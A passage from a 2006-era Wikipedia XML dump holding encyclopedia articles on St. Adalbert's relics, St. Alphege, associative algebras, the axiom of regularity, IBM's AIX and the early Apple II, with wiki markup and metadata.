Notably, Bohemian rulers (i.e. Přemyslids) initially refused to ransom st. Adalbert's body from Prussians who murdered him, so it was purchased by Poles. This fact may be explained by st. Adalbert's belonging to Slavniks family; it highlights two clans' conflict strength. Thus Saint Adalbert's bones were stored in [[Gniezno]] and helped [[Boleslaus I of Poland|Boleslaus the Brave]] to improve Poland's position in Europe. 

There is an opinion that in 1039 [[Bohemia]]n duke [[Bretislav I]] retrieved the bones of Saint Adalbert from Gniezno and moved them to [[Prague]]. By other version, he took only part of bones, while rest of St. Adalbert's relics were hidden by Poles. Today Saint Adalbert has two graves, and which bones are authentic is still not clear. For example, the saint has two skulls - one in Prague, other in Gniezno (stolen in 1923).

In June, 1997 was a thousandth anniversary of st. Adalbert's martyrdom. It was commemorated in Poland, Germany, Czechia, Russia and other countries. Representatives of Catholic, Greek Orthodox, and Evangelical churches pilgrimaged to Gniezno, to the saint's tomb. [[John Paul II]] visited Gniezno and held a ceremonial divine service which heads of seven European states and about a million of believers took part in. In [[Kaliningrad Oblast]], near Beregovoe village (former Tenkitten), where Adalbert's death hypothetically took place, a ten-meter cross was established.

==See also==
* [[Congress of Gniezno]]
* [[Gniezno Doors]]

==External links==
*[http://wwwtest.library.ucla.edu/libraries/mgi/maps/blaeu/prvssia.jpg Map of Prussia from c 1660 with locations]

[[Category:956 births]]
[[Category:997 deaths]]
[[Category:Christian martyrs]]
[[Category:History of Hungary]]
[[Category:Saints]]
[[Category:Roman Catholic bishops]]
[[Category:Roman Catholic missionaries]]
[[Category:History of Prussia]]
[[Category:religion in Prague]]

[[cs:Svatý Vojtěch]]
[[de:Adalbert von Prag]]
[[eo:Vojtěch]]
[[fr:Adalbert de Prague]]
[[gl:Adalberto de Praga]]
[[hu:Szent Adalbert]]
[[nl:Adalbert van Praag]]
[[pl:Wojciech Sławnikowic]]
[[ru:Адальберт Пражский]]
[[uk:Адальберт Празький]]</text>
    </revision>
  </page>
  <page>
    <title>Alphege</title>
    <id>2110</id>
    <revision>
      <id>38085296</id>
      <timestamp>2006-02-04T01:53:13Z</timestamp>
      <contributor>
        <username>Staffelde</username>
        <id>385596</id>
      </contributor>
      <minor />
      <comment>edit cat</comment>
      <text xml:space="preserve">'''Saint Alphege''' '''(Ælfheah)''' ([[954]] - [[April 19]] [[1012]]), [[Archbishop of Canterbury]], came of a noble family, but in early life gave up everything to devote himself to his faith.

Having assumed the monastic habit in the monastery of [[Deerhurst]], he passed thence to [[Bath]], where he became an anchorite and ultimately [[abbot]], distinguishing himself by his piety and the austerity of his life. In [[984]] he 
was appointed through [[Dunstan]]'s influence to the [[Bishop of Winchester|bishopric of Winchester]], and in 1006 he succeeded [[Aelfric]] as Archbishop of Canterbury.

At the sack of Canterbury by the [[Denmark|Danes]] in [[1011]] Ælfheah was captured and kept in prison for seven months. Refusing to pay a ransom, he was murdered at [[Greenwich, London]] on April 19, [[1012]] ([[St Alfege's Church]] reputedly marks the place he died). 

An account of his death appears in The [[Anglo-Saxon Chronicle]]: &lt;blockquote&gt;. . . for there was wine brought them from the south. Then took they the bishop . . . on the eve of the Sunday after Easter . . . They overwhelmed him with bones and horns of oxen; and one of them smote him with an axe-iron on the head; so that he sunk downwards with the blow; and his holy blood fell on the earth, whilst his sacred soul was sent to the realm of God.&lt;/blockquote&gt; 

Some sources record the final blow, with the back of an axe, being dealt by one 'Thrum' as an act of kindness by a Christian convert.

He was buried in [[St Paul's Cathedral|St Paul's]], whence his body was removed by [[Canute the Great|Canute]] to Canterbury with all the ceremony of a great act of state in [[1023]]. Alphege was canonised in [[1078]]. An incised paving slab to the north of the present High Altar of [[Canterbury Cathedral]] marks the place where the mediaeval shrine is believed to have stood.

===Dedications===
Dedications include: St. Alphege the Martyr, Canterbury (now used as an urban studies centre), [[St Alfege's Church]], Greenwich, the twin churches of St. Alphege Whitstable and St. Alphege Seasalter (chancel only surviving) and St Alphege in [[Solihull]], the main town of the [[Metropolitan Borough of Solihull]].

===Feast day===
Feast Day: April 19th.

==Accounts==
''Lives of St. Alphege'' in prose - which survives - and in verse were written by command of [[Lanfranc]] by the Canterbury monk [[Osborn]] (d. c. [[1090]]), who says that his account of the solemn translation to Canterbury in 1023 was received 
from the dean, Godric, one of Alphege's own scholars. 

==External links==
*[http://www.engl.virginia.edu/OE/OEA/pdf/aelfheah.pdf The Martyrdom of Ælfheah, from the Anglo-Saxon Chronicle]
*[http://www.newadvent.org/cathen/05394a.htm Article in the Catholic Encyclopedia]

==References==
*{{1911}}

&lt;center&gt;
{| border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br /&gt;
'''[[Aelfric]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Archbishop of Canterbury]]'''
| width=&quot;30%&quot; align=&quot;center&quot; | Followed by:&lt;br /&gt;
'''[[Lyfing, Archbishop of Canterbury|Lyfing]]'''
|}
&lt;/center&gt;

[[Category:1012 deaths|Alphege]]
[[Category:954 births|Alphege]]
[[Category:Archbishops of Canterbury]]
[[Category:Anglo-Saxon saints]]</text>
    </revision>
  </page>
  <page>
    <title>Axiom of Regularity</title>
    <id>2111</id>
    <revision>
      <id>15900551</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Axiom_of_regularity]]
</text>
    </revision>
  </page>
  <page>
    <title>Associative algebra</title>
    <id>2112</id>
    <revision>
      <id>42072217</id>
      <timestamp>2006-03-03T17:03:46Z</timestamp>
      <contributor>
        <username>Mazi</username>
        <id>84116</id>
      </contributor>
      <minor />
      <comment>/* Examples */  - added a fullstop</comment>
      <text xml:space="preserve">:''This article is about a particular kind of [[vector space]]. For other uses of the term &quot;algebra&quot; see [[algebra (disambiguation)]].''
In [[mathematics]], an '''associative algebra''' is a [[vector space]] (or more generally, a [[module (mathematics)|module]]) which also allows the multiplication of vectors in a [[distributivity|distributive]] and [[associativity|associative]] manner. They are thus special [[algebra over a field|algebras]].

== Definition ==

An associative algebra ''A'' over a [[field (mathematics)|field]] ''K'' is defined to be a vector space over ''K'' together with a ''K''-[[bilinear operator|bilinear multiplication]] ''A'' x ''A'' &amp;rarr; ''A'' (where the image of (''x'',''y'') is written as ''xy'') such that the associative law holds:
* (''x y'') ''z'' = ''x'' (''y z'') for all ''x'', ''y'' and ''z'' in ''A''. 
The bilinearity of the multiplication can be expressed as
* (''x'' + ''y'') ''z'' = ''x z'' + ''y z'' &amp;nbsp;&amp;nbsp; for all ''x'', ''y'', ''z'' in ''A'',
* ''x'' (''y'' + ''z'') = ''x y'' + ''x z''  &amp;nbsp;&amp;nbsp; for all ''x'', ''y'', ''z'' in ''A'',
* ''a'' (''x y'') = (''a'' ''x'') ''y'' = ''x'' (''a'' ''y'') &amp;nbsp;&amp;nbsp; for all ''x'', ''y'' in ''A'' and ''a'' in ''K''.
If ''A'' contains an identity element, i.e. an element 1 such that 1''x'' = ''x''1 = ''x'' for all ''x'' in ''A'', then we call ''A'' an ''associative algebra with one'' or a '''[[unital]]''' (or '''unitary''') '''associative algebra'''.
Such an algebra is a [[ring (algebra)|ring]], and contains all elements ''a'' of the field ''K'' by identification with ''a''1.

The preceding definition generalizes without any change to an algebra over a [[commutative ring]] ''K'' (except that a ''K''-linear space is then called a [[module (mathematics)|module]] and not a vector space). See [[algebra (ring theory)]] for more.

The ''dimension'' of the associative algebra ''A'' over the field ''K'' is its [[Hamel dimension|dimension]] as a ''K''-vector space.

== Examples ==

* The square ''n''-by-''n'' [[matrix_(mathematics)|matrices]] with entries from the field ''K'' form a unitary associative algebra over ''K''.
* The [[complex number|complex numbers]] form a 2-dimensional unitary associative algebra over the [[real number|real numbers]].
* The [[quaternions]] form a 4-dimensional unitary associative algebra over the reals (but not an algebra over the complex numbers, since complex numbers don't commute with quaternions).
* The [[polynomial|polynomials]] with real coefficients form a unitary associative algebra over the reals.
* Given any [[Banach space]] ''X'', the [[continuous function (topology)|continuous]] [[linear operator|linear operators]] ''A'' : ''X'' &amp;rarr; ''X'' form a unitary associative algebra (using composition of operators as multiplication); this is in fact a [[Banach algebra]].
* Given any [[topology|topological space]] ''X'', the continuous real- (or complex-) valued functions on ''X'' form a real (or complex) unitary associative algebra; here we add and multiply functions pointwise.
* An example of a non-unitary associative algebra is given by the set of all functions ''f'': '''R''' &amp;rarr; '''R''' whose [[limit (mathematics)|limit]] as ''x'' nears infinity is zero. 
* The [[Clifford algebra]]s are useful in [[geometry]] and [[physics]].
* [[Incidence algebra]]s of locally finite [[partially ordered set]]s are unitary associative algebras considered in [[combinatorics]].

== Algebra homomorphisms ==

If ''A'' and ''B'' are associative algebras over the same field ''K'', an ''algebra homomorphism'' ''h'': ''A'' &amp;rarr; ''B'' is a ''K''-[[linear transformation|linear map]] which is also multiplicative in the sense that ''h''(''xy'') = ''h''(''x'') ''h''(''y'') for all ''x'', ''y'' in ''A''. With this notion of morphism, the class of all associative algebras over ''K'' becomes a [[category theory|category]].

Take for example the algebra ''A'' of all real-valued continuous functions '''R''' &amp;rarr; '''R''', and ''B'' = '''R'''. Both are algebras over '''R''', and the map which assigns to every continuous function ''f'' the number ''f''(0) is an algebra homomorphism from ''A'' to ''B''.

== Index-free notation ==
In the above definition of an associative algebra, the definition of associativity was made with regard to all of the elements of ''A''. It is sometimes more convenient to have a definition of associativity that does not need to refer to the elements of ''A''.
This can be done as follows. An algebra is defined as a map ''M'' (multiplication) on a vector space ''A'':
:&lt;math&gt;M: A \times A \rightarrow A&lt;/math&gt;
An associative algebra is an algebra where the map ''M'' has the property
:&lt;math&gt;M \circ (\mbox {Id} \times M) = M \circ (M \times \mbox {Id})&lt;/math&gt;
Here, the symbol &lt;math&gt;\circ&lt;/math&gt; refers to functional composition, and Id is the identity map: &lt;math&gt;Id(x)=x&lt;/math&gt; for all ''x'' in ''A''.  To see the equivalence of the definitions, we need only understand that each side of the above equation is a function that takes three arguments. For example, the left-hand side acts as
:&lt;math&gt;( M \circ (\mbox {Id} \times M)) (x,y,z) = M (x, M(y,z))&lt;/math&gt;

Similarly, a unital associative algebra can be defined in terms of a unit map
:&lt;math&gt;\eta: K \rightarrow A&lt;/math&gt;
which has the property
:&lt;math&gt;M \circ (\mbox {Id} \times \eta ) = s = M \circ (\eta \times \mbox {Id})&lt;/math&gt;
Here, the unit map &amp;eta; takes an element ''k'' in ''K'' to the element ''k1'' in ''A'', where ''1'' is the unit element of ''A''.  The map ''s'' is just plain-old scalar multiplication: &lt;math&gt;s:K\times A \rightarrow A&lt;/math&gt;; thus, the above identity is sometimes written with Id standing in the place of ''s'', with scalar multiplication being implicitly understood.

== Generalizations ==

One may consider associative algebras over a commutative ring ''R'': these are [[module (mathematics)|modules]] over ''R'' together with a ''R''-bilinear map which yields an associative multiplication. In this case, a unital ''R''-algebra ''A'' can equivalently be defined as a [[ring (algebra)|ring]] ''A'' with a ring homomorphism ''R''&amp;rarr;''A''.

The ''n''-by-''n'' matrices with [[integer]] entries form an associative algebra over the integers and the polynomials with coefficients in the ring '''Z'''/''n'''''Z''' (see [[modular arithmetic]]) form an associative algebra over '''Z'''/''n'''''Z'''.

== Coalgebras == 

An associative unitary algebra over ''K'' is based on a [[morphism]] ''A''&amp;times;''A''&amp;rarr;''A'' having 2 inputs (multiplicator and multiplicand) and one output (product), as well as a morphism ''K''&amp;rarr;''A'' identifying the scalar multiples of the multiplicative identity. These two morphisms can be dualized using [[categorial duality]] by reversing all arrows in the [[commutative diagram]]s which describe the algebra [[axiom|axioms]]; this defines the structure of a [[coalgebra]].

There is also an abstract notion of [[F-coalgebra]].

== Representations == 
A [[group representation|representation]] of an algebra is a linear map &lt;math&gt;\rho:A\rightarrow gl(V)&lt;/math&gt; from ''A'' to the general linear algebra of some vector space (or module) ''V'' that preserves the multiplicative operation: that is, &lt;math&gt;\rho(xy)=\rho(x)\rho(y)&lt;/math&gt;. 

Note, however, that there is no natural way of defining a [[tensor product]] of representations of associative algebras, without somehow imposing additional conditions.   Here, by ''tensor product of representations'',  the usual meaning is intended: the result should be a linear representation on the product vector space.
Imposing such additional structure typically leads to the idea of a [[Hopf algebra]] or a [[Lie algebra]], as demonstrated below.

===Motivation for a Hopf algebra===
Consider, for example, two representations &lt;math&gt;\sigma:A\rightarrow gl(V)&lt;/math&gt; and &lt;math&gt;\tau:A\rightarrow gl(W)&lt;/math&gt;.  One might try to form a tensor product representation &lt;math&gt;\rho: x \mapsto \rho(x) = \sigma(x) \otimes \tau(x)&lt;/math&gt; according to how it acts on the product vector space, so that 

:&lt;math&gt;\rho(x)(v \otimes w) = (\sigma(x)(v)) \otimes (\tau(x)(w))&lt;/math&gt;. 

However, such a map would not be linear, since one would have 

:&lt;math&gt;\rho(kx) = \sigma(kx) \otimes \tau(kx) = k\sigma(x) \otimes k\tau(x) = k^2 (\sigma(x) \otimes \tau(x)) = k^2 \rho(x)&lt;/math&gt;

for &lt;math&gt;k \in  K&lt;/math&gt;. One can rescue this attempt and restore linearity by imposing additional structure, by defining a map &lt;math&gt;\Delta:A \rightarrow A \times A&lt;/math&gt;, and defining the tensor product representation as 
:&lt;math&gt;\rho = (\sigma\otimes \tau) \circ \Delta&lt;/math&gt;. 
Here, &amp;Delta; is a [[comultiplication]].  The resulting structure is called a [[bialgebra]].  To be consistent with the definitions of the associative algebra, the coalgebra must be co-associative, and, if the algebra is unital, then the co-algebra must be unital as well.  Note that bialgebras leave  multiplication and co-multiplication unrelated; thus it is common to relate the two (by defining an antipode), thus creating a [[Hopf algebra]].

===Motivation for a Lie algebra ===
One can try to be more clever in defining a tensor product. Consider, for example,
:&lt;math&gt;x \mapsto \rho (x) = \sigma(x) \otimes \mbox{Id}_W + \mbox{Id}_V \otimes \tau(x)&lt;/math&gt; 
so that the action on the tensor product space is given by 
:&lt;math&gt;\rho(x) (v \otimes w) = (\sigma(x) v)\otimes w + v \otimes (\tau(x) w)&lt;/math&gt;. 
This map is clearly linear in ''x'', and so it does not have the problem of the earlier definition.  However, it fails to preserve multiplication:
:&lt;math&gt;\rho(xy) = \sigma(x) \sigma(y) \otimes \mbox{Id}_W + \mbox{Id}_V \otimes \tau(x) \tau(y)&lt;/math&gt;.
But, in general, this does not equal
:&lt;math&gt;\rho(x)\rho(y) = 
\sigma(x) \sigma(y) \otimes \mbox{Id}_W + 
\sigma(x) \otimes \tau(y) +
\sigma(y) \otimes \tau(x) +
\mbox{Id}_V \otimes \tau(x) \tau(y)&lt;/math&gt;.
Equality would hold if the product ''xy'' were antisymmetric (if the product were the [[Lie bracket]], that is, &lt;math&gt;xy \equiv M(x,y) = [x,y]&lt;/math&gt;), thus turning the associative algebra into a [[Lie algebra]].

==References==
*  Ross Street, ''[http://www-texdev.ics.mq.edu.au/Quantum/Quantum.ps Quantum Groups: an entrée to modern algebra]'' (1998). ''(Provides a good overview of index-free notation)''

[[Category:Algebra]]

[[de:Assoziative Algebra]]
[[es:Álgebra asociativa]]
[[fr:Algèbre associative]]
[[he:אלגברה (מבנה אלגברי)]]</text>
    </revision>
  </page>
  <page>
    <title>Axiom of regularity</title>
    <id>2113</id>
    <revision>
      <id>38836594</id>
      <timestamp>2006-02-08T23:27:58Z</timestamp>
      <contributor>
        <ip>71.249.61.168</ip>
      </contributor>
      <comment>/* Elementary implications */</comment>
      <text xml:space="preserve">The '''axiom of regularity''' (also known as the '''axiom of foundation''') is one of the axioms of [[Zermelo-Fraenkel set theory]].  In [[first-order logic]] the axiom reads:
:&lt;math&gt;\forall A: A \neq \{\} \implies \exists B: B \in A \land \lnot \exist C: C \in A \land C \in B&lt;/math&gt;
Or in prose:
:Every non-empty [[set]] ''A'' contains an element ''B'' which is disjoint from ''A''. 

Two results which follow from the axiom are that &quot;no set is an element of itself&quot;, and that &quot;there is no infinite [[sequence]] (''a&lt;sub&gt;n&lt;/sub&gt;'') such that ''a&lt;sub&gt;i+1&lt;/sub&gt;'' is an element of ''a&lt;sub&gt;i&lt;/sub&gt;'' for all ''i''&quot;.

With the [[axiom of choice]], this result can be reversed: if there are no such infinite sequences, then the axiom of regularity is true. Hence the two statements are equivalent.

The axiom of regularity is arguably the least useful ingredient of  [[Zermelo-Fraenkel set theory]], since virtually all results in the branches of mathematics based on set theory hold even in the absence of regularity.  In addition to omitting the axiom of regularity, non-standard set theories have indeed postulated the existence of sets that are elements of themselves.  See [[Axiomatic set theory#Well-foundedness and hypersets|&quot;Well-foundedness and hypersets&quot;]] in the article [[Axiomatic set theory]].

== Elementary implications ==

''Axiom of regularity implies that no set is an element of itself''

Let ''A'' be a set such that ''A'' is an element of itself and define ''B'' = {''A''}, which is a set by the [[axiom of pairing]]. Applying the axiom of regularity to ''B'', we see that the only element of ''B'', namely, ''A'', must be disjoint from ''B''. But the intersection of ''A'' and ''B'' is just ''A''. Thus ''B'' does not satisfy the axiom of regularity and we have a contradiction, proving that ''A'' cannot exist.

''Axiom of regularity implies that no infinite descending sequence of sets exists''

Let ''f'' be a [[function (mathematics)|function]] of the natural numbers with ''f''(''n''+1) an element of ''f''(''n'') for each ''n''. Define ''S'' = {''f''(''n''): ''n'' a natural number}, the range of ''f'', which can be seen to be a set from the formal definition of a function. Applying the axiom of regularity to ''S'', let ''f''(''k'') be an element of ''S'' which is disjoint from ''S''. But by the definitions of ''f'' and ''S'', ''f''(''k'') and ''S'' have an element in common (namely ''f''(''k''+1)). This is a contradiction, hence no such ''f'' exists.

''Assuming the axiom of choice, no infinite descending sequence of sets implies the axiom of regularity''

Let the non-empty set ''S'' be a counter-example to the axiom of regularity; that is, every element of ''S'' has a non-empty intersection with ''S''. Let ''g'' be a [[Axiom of choice|choice function]] for ''S'', that is, a map such that ''g''(''s'') is an element of ''s'' for each non-empty subset ''s'' of ''S''. Now define the function ''f'' on the non-negative integers recursively as follows:

:&lt;math&gt;f(0) = g(S)\,\!&lt;/math&gt;
:&lt;math&gt;f(n+1) = g(f(n) \cap S).\,\!&lt;/math&gt;

Then for each ''n'', ''f''(''n'') is an element of ''S'' and so its intersection with ''S'' is non-empty, so ''f''(''n''+1) is well-defined and is an element of ''f''(''n''). So ''f'' is an infinite descending chain. This is a contradiction, hence no such ''S'' exists.

== Common misconception: Russell's paradox and the axiom of regularity ==

[[Russell's paradox]] is the [[paradox]] whereby consideration of &quot;the set
of all sets that do not contain themselves as members&quot; leads to a contradiction
in [[naive set theory]].  Since the axiom of regularity implies that no set contains
itself as a member, it can be tempting for the non-expert to think that the
presence of the axiom of regularity in [[Zermelo-Fraenkel set theory]] (ZF) has
something to do with the way in which ZF
resolves Russell's paradox.  (For example, this misconception is perpetuated in
[[David Foster Wallace]]'s ''[[Everything and More]]''.)  In fact, the contradiction
of Russell's paradox is avoided because the
[[axiom schema of specification|separation axioms]] in ZF are of limited power (as
compared with naive set theory).  Indeed, a contradiction can only be eliminated from
a theory by
weakening or removing axioms;
adding the axiom of regularity (or any other axiom) to a theory
only makes it ''more'' likely that a contradiction will be encountered.
The axiom of regularity is irrelevant to the resolution of Russell's paradox.

== External links ==

*http://www.trinity.edu/cbrown/topics_in_logic/sets/sets.html contains an informative description of the axiom of regularity under the section on Zermelo-Fraenkel set theory.

[[Category:Axioms of set theory]]

[[de:Regularitätsaxiom]]
[[hu:A regularitás axiómája]]</text>
    </revision>
  </page>
  <page>
    <title>AIX operating system</title>
    <id>2114</id>
    <revision>
      <id>41764101</id>
      <timestamp>2006-03-01T16:00:02Z</timestamp>
      <contributor>
        <ip>162.43.198.100</ip>
      </contributor>
      <comment>/* Text-based console */</comment>
      <text xml:space="preserve">{{Infobox OS|
|name = AIX
|screenshot = 
|caption = 
|developer = [[IBM]]
|family = [[UNIX System V]]
|source_model = [[Closed source]]
|latest_release_version = 5L 5.3
|latest_release_date = August, 2004
|kernel_type = [[Microkernel]]
|ui = [[Common Desktop Environment]]
|license = [[Proprietary]]
|working_state = Current
|website = [http://www-1.ibm.com/servers/aix/ IBM AIX 5L]
}}

'''AIX''' ('''Advanced Interactive eXecutive''') is a [[proprietary]] [[operating system]] developed by [[IBM]] based on [[UNIX System V]]. Before the product was ever marketed, the [[Acronym and initialism|acronym]] ''AIX'' originally stood for '''Advanced IBM Unix'''.

AIX has pioneered numerous [[network operating system]] enhancements, introducing new innovations later adopted by [[Unix-like]] operating systems; it is often one of the first operating systems to implement a new innovation in [[software architecture]] as a sophisticated software technology.

The [[Scalability|scalable]] AIX 5L 5.3 supports up to 64 [[central processing unit]]s and two [[terabyte]]s (TB) of [[random access memory]]. The [[JFS#History|JFS2]] [[file system]]&amp;mdash;first introduced by IBM as part of AIX&amp;mdash;supports [[computer file]]s and [[Partition (computing)|partition]]s up to 16 TB in size.

==Development==
AIX V1, introduced in 1986, was based on [[System V]] Release 3. IBM later ported AIX to the [[RS/6000]] platform as '''AIX/6000'''; since [[1989]], AIX has served as the RS/6000's primary operating system. In developing AIX, IBM and [[Interactive Systems Corporation|INTERACTIVE Systems Corporation]] (whom IBM contracted) also incorporated source code from [[Berkeley Software Distribution]] 4.2 and 4.3.

In the [[SCO v. IBM]] [[lawsuit]] filed in 2003, the [[SCO Group]] alleged that (among other infractions) IBM misappropriated licensed [[source code]] from [[UNIX System V]] Release 4 for incorporation into AIX. IBM maintains that their license was irrevocable.

==Supported architectures==
* AIX v1 supported IBM [[PS/2]] [[Micro Channel architecture]] PCs and the [[IBM RT]].
* AIX v2 supported 6150-series IBM RT systems.
* AIX v3 introduced support for the [[IBM POWER]] architecture.
* AIX v4 introduced support for the [[PowerPC]] architecture and the [[Peripheral Component Interconnect|PCI]] bus.
* AIX v5 introduced support for the [[IA64]] architecture.
* AIX v5.1 was the last version to support the [[Micro Channel architecture]].

===AIX on IBM Mainframes===
In 1988, IBM announced AIX/370. AIX/370 was IBM's first attempt to offer Unix-like functionality for their mainframe line, specifically the [[System/370]]. AIX/370 was released in 1990 with functional equivalence to System V Release 2 and 4.3BSD as well as IBM enhancements. With the introduction of the [[ESA/390]] architecture, AIX/370 was rebranded as AIX/ESA in 1991 and ran on the [[System/390]] platform. Unlike AIX on its other platforms, AIX on the mainframe never ran as the host operating system, but rather as a guest under [[VM (Operating system)|VM]]. AIX on the mainframe had little success and UNIX functionality was instead added as an option with the existing mainframe operating system, [[MVS]], which became [[MVS/ESA|MVS/ESA OpenEdition]] in 1993.

==Versions==
* AIX 5L 5.3, August 2004
** [[Network File System|NFS]] Version 4 support
** Advanced Accounting
** Virtual [[SCSI]]
** Virtual Ethernet 
** [[Simultaneous multithreading]] (SMT) support
** [[Micro-Partitioning]] support
**JFS2 quota support
**JFS2 filesystem shrink support
* AIX 5L 5.2, October 2002
** Minimum level required for POWER5 hardware
** Support for [[multipath I/O|MPIO]] [[Fibre Channel]] disks
** [[iSCSI]] Initiator software
** Dynamic LPAR support
* AIX 5L 5.1, May 2001
** Minimum level required for POWER4 hardware and the last release that supported [[Micro Channel architecture]]
** Introduction of [[64-bit]] [[Kernel (computer science)|kernel]], installed but not activated by default
** JFS2
** Static LPAR support
** The L stands for [[Linux]] affinity
** [[Trusted Computing Base]] (TCB)

* AIX 4.3.3, September 1999
** Added online [[backup]] function
** Workload Management ( WLM )
* AIX 4.3.2, October 1998
* AIX 4.3.1, April 1998
* AIX 4.3, October 1997
** Support for 64-bit [[CPU design|architecture]]
* AIX 4.2.1, April 1997
** [[Network File System|NFS]] Version 3 support
* AIX 4.2, May 1996
* AIX 4.1.5, August 1996
* AIX 4.1.4, October 1995
* AIX 4.1.3, July 1995
** [[Common Desktop Environment|CDE]] 1.0 became the default GUI environment, replacing [[Motif (widget toolkit)|Motif]] [[X Window System|X Window]] Manager.
* AIX 4.1.1, October 1994
* AIX 4.1, August 1994
* AIX v4, 1994
* AIX v3.2 1992
* AIX v3.1
** Introduction of Journaled File System ([[JFS]])
* AIX v3, February 1990
** Developer release licensed only to OSF; the LVM was incorporated into OSF/1.
** [[SMIT]] was introduced.
* AIX v2
** last version was 2.2.1.
* AIX v1, 1986
** last version was 1.3.

==Interfaces==
===Graphical===
The [[Common Desktop Environment]] (CDE) is AIX's default [[graphical user interface]]. As part of Linux Affinity and the free AIX Toolbox for Linux Applications (ATLA), open-source [[KDE]] and [[GNOME]] desktop are also available.

===Text-based console===
[[SMIT]], also known as smitty, is a text based System Management Interface Tool for AIX. It allows a user to navigate a menu hierarchy of commands, rather than using the command line. Experienced system administrators make use of the F6 command which generates the command line needed for complex tasks.

SMIT and smitty are the same program, however smitty is the text-based version, and SMIT is a graphical version which runs under the X Window System. If you are on a text based terminal, running the smit program will invoke the text-based version.

==External links==
*[http://www-1.ibm.com/servers/aix/ IBM AIX 5L]
*[http://www.ibm.com/servers/aix/products/aixos/linux/ AIX Toolbox for Linux Applications]
*[http://www.ibm.com/servers/eserver/support/unixservers/aixfixes.html AIX fixes]
*[http://rootvg.net/ rootvg.net]
*[http://www.elink.ibmlink.ibm.com/public/applications/publications/cgibin/pbi.cgi?CTY=US&amp;FNC=SRX&amp;PBL=GC23-3059-01 AIX/ESA V2R2 General Information]

{{unix-like}}

[[Category:IBM software]]
[[Category:Operating systems]]
[[Category:Unix]]

[[ca:AIX]]
[[cs:AIX]]
[[de:AIX]]
[[es:AIX]]
[[eo:AIX]]
[[fr:Advanced interactive executive]]
[[ko:AIX 운영 체제]]
[[it:AIX]]
[[he:AIX]]
[[hu:AIX]]
[[nl:Advanced Interactive eXecutive]]
[[ja:AIX]]
[[pl:AIX]]
[[pt:AIX]]
[[ru:AIX]]
[[fi:AIX]]
[[sv:AIX]]
[[zh:AIX]]</text>
    </revision>
  </page>
  <page>
    <title>Appletalk</title>
    <id>2115</id>
    <revision>
      <id>15900555</id>
      <timestamp>2003-12-27T21:35:18Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <comment>Changed to redirect (see the talk page)</comment>
      <text xml:space="preserve">#REDIRECT [[AppleTalk]]</text>
    </revision>
  </page>
  <page>
    <title>Apple II family</title>
    <id>2116</id>
    <revision>
      <id>41926296</id>
      <timestamp>2006-03-02T17:49:31Z</timestamp>
      <contributor>
        <username>Nintendude</username>
        <id>584148</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:The_Apple_II.jpg|thumb|400px|The 1977 Apple II, complete with integrated keyboard, color high-resolution graphics, sound, a sleek plastic case, and eight expansion slots.]] The '''Apple II''' was the first [[microcomputer]] manufactured by [[Apple Computer]]. Its direct ancestor was the [[Apple I]], a circuit board computer for hobbyists that was never produced in quantity but which pioneeered many of the features that made the Apple II a success. Introduced at the [[West Coast Computer Faire]] in 1977, the Apple II was one of the very first (and most successful) [[personal computers]]. A number of different models were sold, and the most popular model was manufactured, with relatively minor changes, into the 1990s.

Unlike any other machine before it, the Apple II looked more like an appliance than a piece of electronic test equipment. This was a computer that would not seem out of place in the home, on a manager's desk, or in a classroom. The lid popped easily off the sleek beige plastic case, allowing access to the entire motherboard and inviting users to look inside and tinker with the computer's eight expansion slots and its bounty of empty RAM sockets, which could hold up to 48 kilobytes of memory.

Also unique for its time were the machine's color and high-resolution graphics modes (which could be used on an ordinary television), its sound capbilities, and its built-in BASIC programming language. Compared to earlier machines, these features were well-documented and easy to learn. The Apple II thus marked the beginning of the personal computer revolution: it was a machine for the masses, not just hobbyists, scientists, and engineers. The Apple II's influence was widespread; most of the machines that followed imitated many aspects of the successful machine.

Throughout the 1980s and much of the 1990s, the Apple II was the ''de facto'' standard computer in [[United States|American]] [[K-12]] schools and even some colleges and universities. Some of these machines are still operational in classrooms today. The Apple II was popular with business users as well as with families and schools, particularly after the release of the first-ever computer [[spreadsheet]], ''[[VisiCalc]]'', which initially ran only on the Apple II.

See the [[computing timeline]] for dates of Apple II family model releases &amp;ndash; the 1977 Apple II and its younger siblings, the II Plus, [[Apple IIe|IIe]], [[Apple IIc|IIc]], [[Apple IIc Plus|IIc Plus]] and [[Apple IIgs|II&lt;small&gt;GS&lt;/small&gt;]].

== History ==
=== The original Apple II ===
The first Apple II computers went on sale on [[June 5]], [[1977]] with a [[MOS Technology]] [[MOS Technology 6502|6502]] microprocessor running at 1 MHz, 4 [[kilobyte|KB]] of [[Random Access Memory|RAM]], an [[compact audio cassette|audio cassette]] interface for loading programs and storing data, and the [[Integer BASIC]] programming language built into the [[Read-only memory|ROMs]]. The video controller displayed 24 lines by 40 columns of upper-case-only text on the screen, with [[NTSC]] [[composite video]] output suitable for display on a monitor, or on a TV set by way of an [[RF modulator]]. The original retail price of the computer was $1298 with 4KB of RAM and $2638 with 48KB of RAM, the maximum amount of memory supported on the original motherboard.

To reflect the machine's then-unique color graphics capability, the Apple logo on the computer's case was made up of rainbow stripes, and these remained a part of the logo until early 2000.

Later, an external 5&amp;frac14;-inch [[floppy disk]] drive, the '''Disk II''',  attached via a controller card that plugged into one of the computer's expansion slots (usually slot 6), gave users much more convenient data storage and retrieval. The Disk II interface, created by [[Steve Wozniak]] (&quot;Woz&quot;), is still regarded as an engineering masterpiece. Where other controllers had dozens of chips for synchronizing data I/O with disk rotation, seeking the head to the appropriate track, and encoding the data into magnetic pulses, Woz's controller card had few chips; instead, the Apple DOS used software to perform these functions. The [[Group Code Recording]] used by the controller was simpler and easier to implement in software than the more common [[Modified Frequency Modulation|MFM]]. According to legend, Woz laid out the circuit board several times as he realized that moving one more function to software would allow him to remove yet another chip. In the end, the low chip count of the controller contributed to making Apple's Disk II the first affordable floppy drive system for personal computers. As a side effect, Woz's scheme also made it easy for [[proprietary software]] developers to [[copy protection|copy-protect]] the media on which their software shipped by changing the low-level sector format or stepping the drive's head between the tracks; naturally, other companies eventually sold software to foil such protection.

